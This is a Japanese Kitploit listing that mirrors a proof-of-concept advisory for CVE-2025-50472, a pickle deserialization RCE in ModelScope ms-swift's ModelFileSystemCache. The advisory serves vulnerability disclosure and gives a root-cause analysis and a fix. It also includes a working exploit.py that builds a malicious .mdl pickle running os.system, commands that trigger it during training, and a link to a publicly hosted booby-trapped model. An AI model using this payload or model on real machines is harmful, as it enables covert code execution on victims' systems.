Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-50472 — CVE-2025-50472の概念実証エクスプロイト:ModelScope ms-swiftのModelFileSystemCacheにおける、悪意のある.mdlファイルを介したデシリアライゼーションRCE脆弱性。 | Kitploit
ツール/GitHubGitHub/before-rain/cve-2025-50472
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubbefore-rain/cve-2025-50472

CVE-2025-50472

CVE-2025-50472の概念実証エクスプロイト:ModelScope ms-swiftのModelFileSystemCacheにおける、悪意のある.mdlファイルを介したデシリアライゼーションRCE脆弱性。

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-50472

ModelScope Ms-Swift ModelFileSystemCache 信頼できないデータのデシリアライズによるリモートコード実行の脆弱性

RCE PoC

テスト目的で、悪意のある .mdl ファイルを含むコードリポジトリを ModelScope にアップロードしました。テスト中に直接使用できます。リンクは次のとおりです: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files

画像

.mdl ファイルには悪意のあるコードが埋め込まれていますが、ModelScope にはセキュリティ警告は表示されません。

PoC コード:

root@kitploit:~
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
    --model_type qwen1half-0_5b-chat \
    --model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
    --dataset blossom-math-zh \
    --num_train_epochs 5 \
    --sft_type lora \
    --output_dir output \
    --eval_steps 200

問題を再現する手順は次のとおりです:

  1. モデルがダウンロードされます

    p1
  2. 悪意のあるコードが実行された後も、トレーニングは中断なく正常に進行します

    画像
  3. 悪意のあるペイロードが正常に実行されました

    画像

1. 脆弱性の概要と影響:

modelscope/ms-swift ライブラリのバージョン 2.6.1 以下は、ModelFileSystemCache() クラスの load_model_meta() 関数における信頼できないデータのデシリアライズにより、任意のコード実行が可能な脆弱性があります。攻撃者は、悪意のあるシリアライズされた .mdl ペイロードを作成し、潜在的に信頼できないソースからのデータに対して pickle.load() が使用されることを悪用して、任意のコードやコマンドを実行できます。この脆弱性により、通常のトレーニングプロセス中に一見無害なチェックポイントを読み込ませるように被害者を欺くことで、リモートコード実行 (RCE) が可能となり、攻撃者は対象のマシン上で任意のコードを実行できます。

ペイロードファイルは隠しファイルであるため、被害者が改ざんを検出することは困難です。さらに重要なことに、モデルトレーニングプロセス中、.mdl ファイルがロードされて任意のコードが実行された後も、通常のトレーニングプロセスには影響がなく、ユーザーは任意のコード実行に気付かないままとなります。

2. 脆弱な製品

  • 製品: modelscope ms-swift
  • モジュール: ModelFileSystemCache
  • ファイル: swift/hub/utils/caching.py
  • バージョン: <=2.6.1
  • GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

3. 根本原因分析

  • 脆弱性の詳細な説明: この脆弱性は、信頼できないデータの安全でないデシリアライズに起因します。スクリプトは隠しキャッシュファイルをロードするために pickle.load を使用しており、コード実行の脆弱性があります。

  • 入力から脆弱性状態に至るコードフロー:

    • モデルトレーニング中、ユーザーはデフォルトのモデルダウンロード方法を使用して ModelScope からモデルを取得しました。モデルはパス ~/.cache/modelscope/hub/xx/xx に保存され、モデルディレクトリには .mdl キャッシュファイルが存在し、モデル名などの基本情報が含まれていました。
    • その後、ユーザーはダウンロードしたモデルをファインチューニングやその他のトレーニング手順に使用しました。
    • caching.py スクリプトが .mdl ファイルをデシリアライズする際に、ファイルに埋め込まれた悪意のあるコードが実行されました。
  • インジェクションポイント: 脆弱性は pickle.load が呼び出される箇所で発生します。 GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

  • 修正提案: 設定ファイル(モデルファイルではなく)を扱う場合は、yaml.safe_load(yaml_file) や json.load など、より安全なファイル解析方法を採用し、任意のコード実行のリスクを軽減することを推奨します。

4. PoC

  1. exploit.py を実行し、被害者のシステムにディレクトリを作成する悪意のあるキャッシュファイル .mdl を作成します:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('mkdir HACKED',))  

# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
    f.write(data)
  1. モデルディレクトリ内の元の .mdl ファイルを、上記で生成した悪意のあるファイルに置き換えます。

  2. トレーニング中に model_id_or_path パラメータがローカルモデルディレクトリを参照するように指定されている場合、指定されたパスにある改ざんされた .mdl ファイルによりリモートコード実行 (RCE) が発生する可能性があります。 重要なことに、このような改変は通常のトレーニングワークフローを妨げないため、RCE 攻撃はステルス性が高く、ユーザーが検出するのが困難です。

root@kitploit:~
CUDA_VISIBLE_DEVICES=0 swift sft     --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat     --dataset blossom-math-zh     --num_train_epochs 5     --sft_type lora     --output_dir output     --eval_steps 200

著者

Hao Fan(凡浩) and Yu Rong(戎誉)

ツールをダウンロード